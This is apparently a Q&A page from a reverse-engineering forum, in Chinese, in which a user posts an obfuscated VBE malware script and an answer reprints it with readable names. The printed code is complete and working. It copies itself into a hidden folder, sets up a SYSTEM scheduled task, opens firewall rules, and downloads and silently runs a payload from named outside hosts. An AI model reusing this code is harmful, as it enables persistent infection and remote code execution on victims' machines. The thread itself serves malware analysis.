混淆的 VBE 恶意软件脚本分析

逆向工程 恶意软件 静态分析 去混淆
2021-06-14 10:23:46

此脚本的某些操作很清楚，例如添加防火墙规则的部分，其他操作则不太清楚

On Error Resume Next

F27
F10
A0
DBCF

Sub F27()
    Dim E13C563AFCB34, C0009B48F34B, C8, BEBE2817704748838CC96E, B37C
    With CreateObject("WScript.Shell")
        C0009B48F34B = Replace(Mid(CreateObject("Scriptlet.TypeLib").Guid, 2, 36), "-", "")
        E13C563AFCB34 = .Environment("process")("appdata") & "\" & Replace(Mid(CreateObject("Scriptlet.TypeLib").Guid, 2, 36), "-", "") & "\"
        With CreateObject("Scripting.FileSystemObject")
            C8 = .GetParentFolderName(WScript.ScriptFullName) & "\"
            BEBE2817704748838CC96E = "." & .GetExtensionName(WScript.ScriptFullName)
            EA E13C563AFCB34
            With .OpenTextFile(WScript.ScriptFullName, 1, False, -2) ' -2 - System default, -1 - Unicode, 0 - ASCII
                B37C = .ReadAll
                .Close
            End With
            If LCase(BEBE2817704748838CC96E) = ".vbe" Then
                B37C = B64C32BB17144(B37C)
                B37C = FA2(B37C)
                B37C = C87E(B37C)
            Else
                B37C = FA2(B37C)
            End If
            With .OpenTextFile(E13C563AFCB34 & C0009B48F34B & BEBE2817704748838CC96E, 2, True, -1)
                .Write B37C
                .Close
            End With
            .DeleteFile WScript.ScriptFullName, True
            With .GetFolder(C8)
                If .Files.Count = 0 And .SubFolders.Count = 0 Then
                    .Delete True
                End If
            End With
        End With
        .Run "schtasks /create /ru system /tn WindowsTaskCoreUpdate /sc onstart /tr """ & E13C563AFCB34 & C0009B48F34B & BEBE2817704748838CC96E & """ /f /rl highest", 0, True
    End With
End Sub

Sub EA(D9CC7)
    With CreateObject("Scripting.FileSystemObject")
        If Not .FolderExists(D9CC7) Then
            EA .GetParentFolderName(D9CC7)
            .CreateFolder D9CC7
            With .GetFolder(D9CC7)
                .Attributes = .Attributes Or 2
            End With
        End If
    End With 
End Sub

Sub F10()
    E306B "WindowsIndexerCoreUpdate", WScript.FullName
End Sub

Sub E306B(B2D50C09F74D4D98929, F442D4A1)
    With CreateObject("WScript.Shell")
        .Run "netsh advfirewall firewall add rule name=""" & B2D50C09F74D4D98929 & """ dir=in action=allow description=""" & B2D50C09F74D4D98929 & """ program=""" & F442D4A1 & """ enable=yes", 0, True
        .Run "netsh advfirewall firewall add rule name=""" & B2D50C09F74D4D98929 & """ dir=out action=allow description=""" & B2D50C09F74D4D98929 & """ program=""" & F442D4A1 & """ enable=yes", 0, True
    End With 
End Sub

Sub A0()
    Dim CECCA989
    Do
        For Each CECCA989 In Array("facebook.com", "google.com", "youtube.com", "vk.com", "yahoo.com", "live.com", "instagram.com")
            With GetObject("winmgmts:{impersonationLevel=Impersonate}!\\.\root\CIMV2:Win32_PingStatus.Address='" & CECCA989 & "'")
                Select Case True
                    Case IsNull(.StatusCode)
                    Case .StatusCode <> 0
                    Case Else Exit Sub
                End Select
            End  With
        Next
        WScript.Sleep 10000
    Loop
End Sub

Sub DBCF()
    Dim CECCA989, F442D4A1, AEF, C
    F442D4A1 = CreateObject("WScript.Shell").Environment("process")("temp") & "\steam.vbe"
    For Each CECCA989 In Array(_
        "http://gmfordown.com/game.log", _
        "http://tor4games.com/steam.lock", _
        "http://dvx2videofr.com/pack.dll")
        CE9FC81B15 CECCA989, F442D4A1, AEF, C
        If AEF = 200 And C = 0 Then Exit For
    Next
    If IsEmpty(CECCA989) Then Exit Sub
    If LCase(Right(F442D4A1, 4)) = ".exe" Then E306B "WindowsGenericCoreUpdate", F442D4A1
    CreateObject("WScript.Shell").Run F442D4A1, 0, True
End Sub

Sub CE9FC81B15(CECCA989, F442D4A1, AEF, C)
    Dim C5A1C339
    On Error Resume Next
    C = 0
    With CreateObject("MSXML2.XMLHTTP")
        .Open "GET", CECCA989, False
        .Send
        AEF = .status
        If AEF <> 200 Then Exit Sub
        C5A1C339 = .responseBody
    End With
    C = Err.Number
    If C <> 0 Then Exit Sub
    With CreateObject("Scripting.FileSystemObject")
        If .FileExists(F442D4A1) Then .DeleteFile F442D4A1, True
    End With
    C = Err.Number
    If C <> 0 Then Exit Sub
    With CreateObject("ADODB.Stream")
        .Type = 1
        .Open
        .Write C5A1C339
        .SaveToFile F442D4A1, 2
        .Close
    End With
    C = Err.Number
End Sub

Function FA2(ByVal D9FF4E5DA8)

    Dim D9, CCD2479A6F784D5E9B13C7D, C01A, CD10282927844, C1, CA2C09B1068, DE, D3, E5, B1723AC3, CB59D564B, B39C9BDF

    Set D9 = CreateObject("Scripting.Dictionary")
    Set CCD2479A6F784D5E9B13C7D = CreateObject("Scripting.Dictionary")
    Set C01A = CreateObject("Scripting.Dictionary")
    With New RegExp
        .IgnoreCase = True
        .Multiline = True
        .Pattern = "(?:""(?:""""|[^""\n])*?""(?!""))"
        CD10282927844 = 0
        Do
            Set C1 = .Execute(D9FF4E5DA8)
            If C1.Count = 0 Then Exit Do
            Do
                CA2C09B1068 = "%" & CD10282927844 & "%"
                If Instr(D9FF4E5DA8, CA2C09B1068) = 0 Then Exit Do
                CD10282927844 = CD10282927844 + 1
            Loop
            D9FF4E5DA8 = .Replace(D9FF4E5DA8, CA2C09B1068)
            CCD2479A6F784D5E9B13C7D(CA2C09B1068) = C1(0).Value
        Loop
        D9FF4E5DA8 = Replace(D9FF4E5DA8, ":", vbCrLf & ":" & vbCrLf)
        .Global = True
        .Pattern = "(\bthen )(.+)"
        D9FF4E5DA8 = .Replace(D9FF4E5DA8, "$1" & vbCrLf & Chr(0) & vbCrLf & "$2")
        .Pattern = "^[ \t]*(?:(?:private|public|public[ \t]+default)[ \t]+)?(?:function|sub|property[ \t]+(?:let|set|get))[ \t]+([a-z]\w*)[ \t]*\((.*)\)[ \t]*(?:$|'.*$)"
        For Each DE In .Execute(D9FF4E5DA8)
            D9(DE.SubMatches(0)) = ""
            D3 = DE.SubMatches(1)
            With New RegExp
                .Global = True
                .IgnoreCase = True
                .Pattern = "(?:\b(?:byval|byref)[ \t]+)?([a-z]\w*)[ \t]*"
                For Each E5 In .Execute(D3)
                    D9(E5.SubMatches(0)) = ""
                Next
            End With
        Next
        .Pattern = "^[ \t]*(?:dim|redim[ \t]+preserve|redim)[ \t]+(.*?)[ \t]*(?:$|'.*$)"
        For Each DE In .Execute(D9FF4E5DA8)
            D3 = DE.SubMatches(0)
            With New RegExp
                .Global = True
                .IgnoreCase = True
                .Pattern = "\([^\(]*?\)"
                Do While .Test(D3)
                    D3 = .Replace(D3, "")
                Loop
            End With
            For Each B1723AC3 In Split(D3, ",")
                D9(Trim(B1723AC3)) = ""
            Next
        Next
        .Pattern = "^[ \t]*class[ \t]+([a-z]\w*)[ \t]*(?:$|'.*$)"
        For Each DE In .Execute(D9FF4E5DA8)
            D9(DE.SubMatches(0)) = ""
        Next
        .Pattern = "^[ \t]*for[ \t]+each[ \t]+([a-z]\w*)[ \t]+in[ \t]+.+(?:$|'.*$)"
        For Each DE In .Execute(D9FF4E5DA8)
            D9(DE.SubMatches(0)) = ""
        Next
        .Pattern = "^[ \t]*for[ \t]+([a-z]\w*)[ \t]*\=[ \t]*.+(?:$|'.*$)"
        For Each DE In .Execute(D9FF4E5DA8)
            D9(DE.SubMatches(0)) = ""
        Next
        .Pattern = "^[ \t]*(?:(?:set|const)[ \t]+)?([a-z]\w*)[ \t]\=[ \t]*.+(?:$|'.*$)"
        For Each DE In .Execute(D9FF4E5DA8)
            D9(DE.SubMatches(0)) = ""
        Next
        D9FF4E5DA8 = Replace(D9FF4E5DA8, vbCrLf & Chr(0) & vbCrLf, "")
        D9FF4E5DA8 = Replace(D9FF4E5DA8, vbCrLf & ":" & vbCrLf, ":")
        Randomize
        CD10282927844 = 0
        C01A("") = ""
        For Each CB59D564B In D9
            .Pattern = "\b" & CB59D564B & "\b"
            Do
                B39C9BDF = Left(Replace(Mid(CreateObject("Scriptlet.TypeLib").Guid, 2, 36), "-", ""), 32 * Rnd * Rnd ^ 8 + 1)
                Do While IsNumeric(Left(B39C9BDF, 1))
                    B39C9BDF = Mid(B39C9BDF, 2)
                Loop
                If Not (C01A.Exists(B39C9BDF) Or D9.Exists(B39C9BDF)) Then
                    C01A(B39C9BDF) = ""
                    Exit Do
                End If
            Loop
            D9FF4E5DA8 = .Replace(D9FF4E5DA8, B39C9BDF)
            D9(CB59D564B) = B39C9BDF
            CD10282927844 = CD10282927844 + 1
        Next
        .Global = False
        .Pattern = "(\bgetref[ \t]*\([ \t]*)(%\d+%)([ \t]*\))"
        Do
            Set C1 = .Execute(D9FF4E5DA8)
            If C1.Count = 0 Then Exit Do
            CA2C09B1068 = C1(0).SubMatches(1)
            CB59D564B = CCD2479A6F784D5E9B13C7D(CA2C09B1068)
            CB59D564B = Mid(CB59D564B, 2, Len(CB59D564B) - 2)
            If D9.Exists(CB59D564B) Then
                D9FF4E5DA8 = .Replace(D9FF4E5DA8, "$1""" & D9(CB59D564B) & """$3")
            Else
                D9FF4E5DA8 = Replace(D9FF4E5DA8, CA2C09B1068, CCD2479A6F784D5E9B13C7D(CA2C09B1068))
            End If
        Loop
        For Each CA2C09B1068 In CCD2479A6F784D5E9B13C7D
            D9FF4E5DA8 = Replace(D9FF4E5DA8, CA2C09B1068, CCD2479A6F784D5E9B13C7D(CA2C09B1068))
        Next
    End With
    FA2 = D9FF4E5DA8

End Function

Function C87E(E00CD)

    Dim E0841EA011

    set E0841EA011 = CreateObject("Scripting.Encoder")
    E00CD = E0841EA011.EncodeScriptFile(".vbs", E00CD, 0, "")
    If Asc(Right(E00CD, 1)) = 0 Then E00CD = Left(E00CD, Len(E00CD) - 1)
    C87E = E00CD

End Function

Function B64C32BB17144(E00CD)

    Dim F7C49787803847
    Dim AF5716

    Do
        AF5716 = 0
        F7C49787803847 = InStr(E00CD, "#@~^")
        If F7C49787803847 > 0 Then
            If InStr(F7C49787803847, E00CD, "==") - F7C49787803847 = 10 Then
                AF5716 = InStr(F7C49787803847, E00CD, "==^#~@")
                If AF5716 > 0 Then
                    E00CD = _
                        Left(E00CD, F7C49787803847 - 1) & _
                        E6168(Mid(E00CD, F7C49787803847 + 12, AF5716 - F7C49787803847 - 12 - 6)) & _
                        Mid(E00CD, AF5716 + 6)
                End If
            End If
        End If
    Loop Until AF5716 = 0
    B64C32BB17144 = E00CD

End Function

Function E6168(E00CD)

    Const FE2573C60644DC = "1231232332321323132311233213233211323231311231321323112331123132"

    Dim E0841EA011, CD10282927844, A0, D1619D105014E6, D383AB927646D, BA
    Dim B1990EE1E94(127)

    Set E0841EA011 = WSCript.CreateObject("Scripting.Encoder")
    For CD10282927844 = 9 To 127
        B1990EE1E94(CD10282927844) = "JLA"
    Next
    For CD10282927844 = 9 To 127
        BA = Mid(E0841EA011.EncodeScriptFile(".vbs", String(3, CD10282927844), 0, ""), 13, 3)
        For D1619D105014E6 = 1 To 3
            A0 = Asc(Mid(BA, D1619D105014E6, 1))
            B1990EE1E94(A0) = Left(B1990EE1E94(A0), D1619D105014E6 - 1) & Chr(CD10282927844) & Mid(B1990EE1E94(A0), D1619D105014E6 + 1)
        Next
    Next
    B1990EE1E94(42) = Left(B1990EE1E94(42), 1) & ")" & Right(B1990EE1E94(42), 1)
    E00CD = Replace(Replace(E00CD, "@&", Chr(10)), "@#", Chr(13))
    E00CD = Replace(Replace(E00CD, "@*", ">"), "@!", "<")
    E00CD = Replace(E00CD, "@$", "@")
    D383AB927646D = -1
    For CD10282927844 = 1 To Len(E00CD)
        A0 = Asc(Mid(E00CD, CD10282927844, 1))
        If A0 < 128 Then D383AB927646D = D383AB927646D + 1
        If (A0 = 9) Or ((A0 > 31) And (A0 < 128)) Then
            If (A0 <> 60) And (A0 <> 62) And (A0 <> 64) Then
                E00CD = _
                    Left(E00CD, CD10282927844 - 1) & _
                    Mid(B1990EE1E94(A0), Mid(FE2573C60644DC, (D383AB927646D Mod 64) + 1, 1), 1) & _
                    Mid(E00CD, CD10282927844 + 1)
            End If
        End If
    Next
    E6168 = E00CD

End Function


C9B0C270511241EBBF8 "https://2no.co/177Ky7"
Function C9B0C270511241EBBF8(F3)
Dim B3996
Set B3996 = CreateObject("MSXML2.ServerXMLHTTP")
B3996.setTimeouts 0, 0, 0, 0
B3996.Open "GET", F3, False
B3996.send
C9B0C270511241EBBF8 = B3996.responseText
Set B3996 = Nothing
End Function
1个回答

这个脚本主要是通过重命名变量和函数名称来混淆的。我建议使用诸如Visual Studio Code 之类的工具，您可以在其中右键单击变量或函数并选择选项“重命名所有出现”并为所有内容提供人类可读的名称。您可以搜索变量或函数的一般使用方式，并基于此为其命名。然后为了进一步测试，我将使用 VBScript 调试器在隔离的虚拟机中进行测试，您可以逐行分析变量的结果。或者您可以更改 .Execute/.Run 等以输出字符串的内容。

手动重命名变量和函数的示例使其更易于阅读：

On Error Resume Next

CreateScheduledTask
AddFirewallRuleToAllowScript
CheckIfOnline
RunDownloadedPayload
HttpGet "https://2no.co/177Ky7"

Sub CreateScheduledTask()
    Dim TargetFolderName, Filename, ScriptFolder, FilenameExtension, ScriptContents
    With CreateObject("WScript.Shell")
        Filename = Replace(Mid(CreateObject("Scriptlet.TypeLib").Guid, 2, 36), "-", "")
        TargetFolderName = .Environment("process")("appdata") & "\" & Replace(Mid(CreateObject("Scriptlet.TypeLib").Guid, 2, 36), "-", "") & "\"
        With CreateObject("Scripting.FileSystemObject")
            ScriptFolder = .GetParentFolderName(WScript.ScriptFullName) & "\"
            FilenameExtension = "." & .GetExtensionName(WScript.ScriptFullName)
            CreateFolder TargetFolderName
            With .OpenTextFile(WScript.ScriptFullName, 1, False, -2) ' -2 - System default, -1 - Unicode, 0 - ASCII
                ScriptContents = .ReadAll
                .Close
            End With
            If LCase(FilenameExtension) = ".vbe" Then
                ScriptContents = SomeStringOperation(ScriptContents)
                ScriptContents = RunScript(ScriptContents)
                ScriptContents = encodeString(ScriptContents)
            Else
                ScriptContents = RunScript(ScriptContents)
            End If
            With .OpenTextFile(TargetFolderName & Filename & FilenameExtension, 2, True, -1)
                .Write ScriptContents
                .Close
            End With
            .DeleteFile WScript.ScriptFullName, True
            With .GetFolder(ScriptFolder)
                If .Files.Count = 0 And .SubFolders.Count = 0 Then
                    .Delete True
                End If
            End With
        End With
        .Run "schtasks /create /ru system /tn WindowsTaskCoreUpdate /sc onstart /tr """ & TargetFolderName & Filename & FilenameExtension & """ /f /rl highest", 0, True
    End With
End Sub

Sub CreateFolder(FolderName)
    With CreateObject("Scripting.FileSystemObject")
        If Not .FolderExists(FolderName) Then
            CreateFolder .GetParentFolderName(FolderName)
            .CreateFolder FolderName
            With .GetFolder(FolderName)
                .Attributes = .Attributes Or 2
            End With
        End If
    End With 
End Sub

Sub AddFirewallRuleToAllowScript()
    AddFireWallRule "Add", WScript.FullName
End Sub

Sub AddFireWallRule(FirewallRuleName, ProgramName)
    With CreateObject("WScript.Shell")
        .Run "netsh advfirewall firewall add rule name=""" & FirewallRuleName & """ dir=in action=allow description=""" & FirewallRuleName & """ program=""" & ProgramName & """ enable=yes", 0, True
        .Run "netsh advfirewall firewall add rule name=""" & FirewallRuleName & """ dir=out action=allow description=""" & FirewallRuleName & """ program=""" & ProgramName & """ enable=yes", 0, True
    End With 
End Sub

Sub CheckIfOnline()
    Dim Url
    Do
        For Each Url In Array("facebook.com", "google.com", "youtube.com", "vk.com", "yahoo.com", "live.com", "instagram.com")
            With GetObject("winmgmts:{impersonationLevel=Impersonate}!\\.\root\CIMV2:Win32_PingStatus.Address='" & Url & "'")
                Select Case True
                    Case IsNull(.StatusCode)
                    Case .StatusCode <> 0
                    Case Else Exit Sub
                End Select
            End  With
        Next
        WScript.Sleep 10000
    Loop
End Sub

Sub RunDownloadedPayload()
    Dim Url, ProgramName, HttpResponsecode, HttpErrorCode
    ProgramName = CreateObject("WScript.Shell").Environment("process")("temp") & "\steam.vbe"
    For Each Url In Array(_
        "http://gmfordown.com/game.log", _
        "http://tor4games.com/steam.lock", _
        "http://dvx2videofr.com/pack.dll")
        Download Url, ProgramName, HttpResponsecode, HttpErrorCode
        If HttpResponsecode = 200 And HttpErrorCode = 0 Then Exit For
    Next
    If IsEmpty(Url) Then Exit Sub
    If LCase(Right(ProgramName, 4)) = ".exe" Then AddFireWallRule "WindowsGenericCoreUpdate", ProgramName
    CreateObject("WScript.Shell").Run ProgramName, 0, True
End Sub

Sub Download(Url, ProgramName, HttpResponsecode, HttpErrorCode)
    Dim HttpResponseBody
    On Error Resume Next
    HttpErrorCode = 0
    With CreateObject("MSXML2.XMLHTTP")
        .Open "GET", Url, False
        .Send
        HttpResponsecode = .status
        If HttpResponsecode <> 200 Then Exit Sub
        HttpResponseBody = .responseBody
    End With
    HttpErrorCode = Err.Number
    If HttpErrorCode <> 0 Then Exit Sub
    With CreateObject("Scripting.FileSystemObject")
        If .FileExists(ProgramName) Then .DeleteFile ProgramName, True
    End With
    HttpErrorCode = Err.Number
    If HttpErrorCode <> 0 Then Exit Sub
    With CreateObject("ADODB.Stream")
        .Type = 1
        .Open
        .Write HttpResponseBody
        .SaveToFile ProgramName, 2
        .Close
    End With
    HttpErrorCode = Err.Number
End Sub

Function RunScript(ByVal scriptContent)

    Dim scriptingDictionary1, scriptingDictionary2, scriptingDictionary3, index, C1, percentIndexPercentString, DE, D3, E5, commaSeparatedValue, scriptingDictionaryResult, replaceTypeLibGuidRandomString

    Set scriptingDictionary1 = CreateObject("Scripting.Dictionary")
    Set scriptingDictionary2 = CreateObject("Scripting.Dictionary")
    Set scriptingDictionary3 = CreateObject("Scripting.Dictionary")
    With New RegExp
        .IgnoreCase = True
        .Multiline = True
        .Pattern = "(?:""(?:""""|[^""\n])*?""(?!""))"
        index = 0
        Do
            Set C1 = .Execute(scriptContent)
            If C1.Count = 0 Then Exit Do
            Do
                percentIndexPercentString = "%" & index & "%"
                If Instr(scriptContent, percentIndexPercentString) = 0 Then Exit Do
                index = index + 1
            Loop
            scriptContent = .Replace(scriptContent, percentIndexPercentString)
            scriptingDictionary2(percentIndexPercentString) = C1(0).Value
        Loop
        scriptContent = Replace(scriptContent, ":", vbCrLf & ":" & vbCrLf)
        .Global = True
        .Pattern = "(\bthen )(.+)"
        scriptContent = .Replace(scriptContent, "$1" & vbCrLf & Chr(0) & vbCrLf & "$2")
        .Pattern = "^[ \t]*(?:(?:private|public|public[ \t]+default)[ \t]+)?(?:function|sub|property[ \t]+(?:let|set|get))[ \t]+([a-z]\w*)[ \t]*\((.*)\)[ \t]*(?:$|'.*$)"
        For Each DE In .Execute(scriptContent)
            scriptingDictionary1(DE.SubMatches(0)) = ""
            D3 = DE.SubMatches(1)
            With New RegExp
                .Global = True
                .IgnoreCase = True
                .Pattern = "(?:\b(?:byval|byref)[ \t]+)?([a-z]\w*)[ \t]*"
                For Each E5 In .Execute(D3)
                    scriptingDictionary1(E5.SubMatches(0)) = ""
                Next
            End With
        Next
        .Pattern = "^[ \t]*(?:dim|redim[ \t]+preserve|redim)[ \t]+(.*?)[ \t]*(?:$|'.*$)"
        For Each DE In .Execute(scriptContent)
            D3 = DE.SubMatches(0)
            With New RegExp
                .Global = True
                .IgnoreCase = True
                .Pattern = "\([^\(]*?\)"
                Do While .Test(D3)
                    D3 = .Replace(D3, "")
                Loop
            End With
            For Each commaSeparatedValue In Split(D3, ",")
                scriptingDictionary1(Trim(commaSeparatedValue)) = ""
            Next
        Next
        .Pattern = "^[ \t]*class[ \t]+([a-z]\w*)[ \t]*(?:$|'.*$)"
        For Each DE In .Execute(scriptContent)
            scriptingDictionary1(DE.SubMatches(0)) = ""
        Next
        .Pattern = "^[ \t]*for[ \t]+each[ \t]+([a-z]\w*)[ \t]+in[ \t]+.+(?:$|'.*$)"
        For Each DE In .Execute(scriptContent)
            scriptingDictionary1(DE.SubMatches(0)) = ""
        Next
        .Pattern = "^[ \t]*for[ \t]+([a-z]\w*)[ \t]*\=[ \t]*.+(?:$|'.*$)"
        For Each DE In .Execute(scriptContent)
            scriptingDictionary1(DE.SubMatches(0)) = ""
        Next
        .Pattern = "^[ \t]*(?:(?:set|const)[ \t]+)?([a-z]\w*)[ \t]\=[ \t]*.+(?:$|'.*$)"
        For Each DE In .Execute(scriptContent)
            scriptingDictionary1(DE.SubMatches(0)) = ""
        Next
        scriptContent = Replace(scriptContent, vbCrLf & Chr(0) & vbCrLf, "")
        scriptContent = Replace(scriptContent, vbCrLf & ":" & vbCrLf, ":")
        Randomize
        index = 0
        scriptingDictionary3("") = ""
        For Each scriptingDictionaryResult In scriptingDictionary1
            .Pattern = "\b" & scriptingDictionaryResult & "\b"
            Do
                replaceTypeLibGuidRandomString = Left(Replace(Mid(CreateObject("Scriptlet.TypeLib").Guid, 2, 36), "-", ""), 32 * Rnd * Rnd ^ 8 + 1)
                Do While IsNumeric(Left(replaceTypeLibGuidRandomString, 1))
                    replaceTypeLibGuidRandomString = Mid(replaceTypeLibGuidRandomString, 2)
                Loop
                If Not (scriptingDictionary3.Exists(replaceTypeLibGuidRandomString) Or scriptingDictionary1.Exists(replaceTypeLibGuidRandomString)) Then
                    scriptingDictionary3(replaceTypeLibGuidRandomString) = ""
                    Exit Do
                End If
            Loop
            scriptContent = .Replace(scriptContent, replaceTypeLibGuidRandomString)
            scriptingDictionary1(scriptingDictionaryResult) = replaceTypeLibGuidRandomString
            index = index + 1
        Next
        .Global = False
        .Pattern = "(\bgetref[ \t]*\([ \t]*)(%\d+%)([ \t]*\))"
        Do
            Set C1 = .Execute(scriptContent)
            If C1.Count = 0 Then Exit Do
            percentIndexPercentString = C1(0).SubMatches(1)
            scriptingDictionaryResult = scriptingDictionary2(percentIndexPercentString)
            scriptingDictionaryResult = Mid(scriptingDictionaryResult, 2, Len(scriptingDictionaryResult) - 2)
            If scriptingDictionary1.Exists(scriptingDictionaryResult) Then
                scriptContent = .Replace(scriptContent, "$1""" & scriptingDictionary1(scriptingDictionaryResult) & """$3")
            Else
                scriptContent = Replace(scriptContent, percentIndexPercentString, scriptingDictionary2(percentIndexPercentString))
            End If
        Loop
        For Each percentIndexPercentString In scriptingDictionary2
            scriptContent = Replace(scriptContent, percentIndexPercentString, scriptingDictionary2(percentIndexPercentString))
        Next
    End With
    RunScript = scriptContent

End Function

Function encodeString(inputString)

    Dim ScriptingEncoder

    set ScriptingEncoder = CreateObject("Scripting.Encoder")
    inputString = ScriptingEncoder.EncodeScriptFile(".vbs", inputString, 0, "")
    If Asc(Right(inputString, 1)) = 0 Then inputString = Left(inputString, Len(inputString) - 1)
    encodeString = inputString

End Function

Function SomeStringOperation(inputString)

    Dim positionOfHashAt
    Dim positionOfEqualEqual

    Do
        positionOfEqualEqual = 0
        positionOfHashAt = InStr(inputString, "#@~^")
        If positionOfHashAt > 0 Then
            If InStr(positionOfHashAt, inputString, "==") - positionOfHashAt = 10 Then
                positionOfEqualEqual = InStr(positionOfHashAt, inputString, "==^#~@")
                If positionOfEqualEqual > 0 Then
                    inputString = _
                        Left(inputString, positionOfHashAt - 1) & _
                        encodeString2(Mid(inputString, positionOfHashAt + 12, positionOfEqualEqual - positionOfHashAt - 12 - 6)) & _
                        Mid(inputString, positionOfEqualEqual + 6)
                End If
            End If
        End If
    Loop Until positionOfEqualEqual = 0
    SomeStringOperation = inputString

End Function

Function encodeString2(inputString)

    Const numberStringSeed = "1231232332321323132311233213233211323231311231321323112331123132"

    Dim ScriptingEncoder, index, CheckIfOnline, D1619D105014E6, D383AB927646D, BA
    Dim JlaIndex(127)

    Set ScriptingEncoder = WSCript.CreateObject("Scripting.Encoder")
    For index = 9 To 127
        JlaIndex(index) = "JLA"
    Next
    For index = 9 To 127
        BA = Mid(ScriptingEncoder.EncodeScriptFile(".vbs", String(3, index), 0, ""), 13, 3)
        For D1619D105014E6 = 1 To 3
            CheckIfOnline = Asc(Mid(BA, D1619D105014E6, 1))
            JlaIndex(CheckIfOnline) = Left(JlaIndex(CheckIfOnline), D1619D105014E6 - 1) & Chr(index) & Mid(JlaIndex(CheckIfOnline), D1619D105014E6 + 1)
        Next
    Next
    JlaIndex(42) = Left(JlaIndex(42), 1) & ")" & Right(JlaIndex(42), 1)
    inputString = Replace(Replace(inputString, "@&", Chr(10)), "@#", Chr(13))
    inputString = Replace(Replace(inputString, "@*", ">"), "@!", "<")
    inputString = Replace(inputString, "@$", "@")
    D383AB927646D = -1
    For index = 1 To Len(inputString)
        CheckIfOnline = Asc(Mid(inputString, index, 1))
        If CheckIfOnline < 128 Then D383AB927646D = D383AB927646D + 1
        If (CheckIfOnline = 9) Or ((CheckIfOnline > 31) And (CheckIfOnline < 128)) Then
            If (CheckIfOnline <> 60) And (CheckIfOnline <> 62) And (CheckIfOnline <> 64) Then
                inputString = _
                    Left(inputString, index - 1) & _
                    Mid(JlaIndex(CheckIfOnline), Mid(numberStringSeed, (D383AB927646D Mod 64) + 1, 1), 1) & _
                    Mid(inputString, index + 1)
            End If
        End If
    Next
    encodeString2 = inputString

End Function

Function HttpGet(Url)
Dim ServerXMLHttp
Set ServerXMLHttp = CreateObject("MSXML2.ServerXMLHTTP")
ServerXMLHttp.setTimeouts 0, 0, 0, 0
ServerXMLHttp.Open "GET", Url, False
ServerXMLHttp.send
HttpGet = ServerXMLHttp.responseText
Set ServerXMLHttp = Nothing
End Function
其它你可能感兴趣的问题
上一篇在这个 Microsoft x64 函数调用中，参数 5 和 6 在哪里？ 下一篇使用 IDA Pro 在 16 位 Windows 中查找目标以调用 Dword Ptr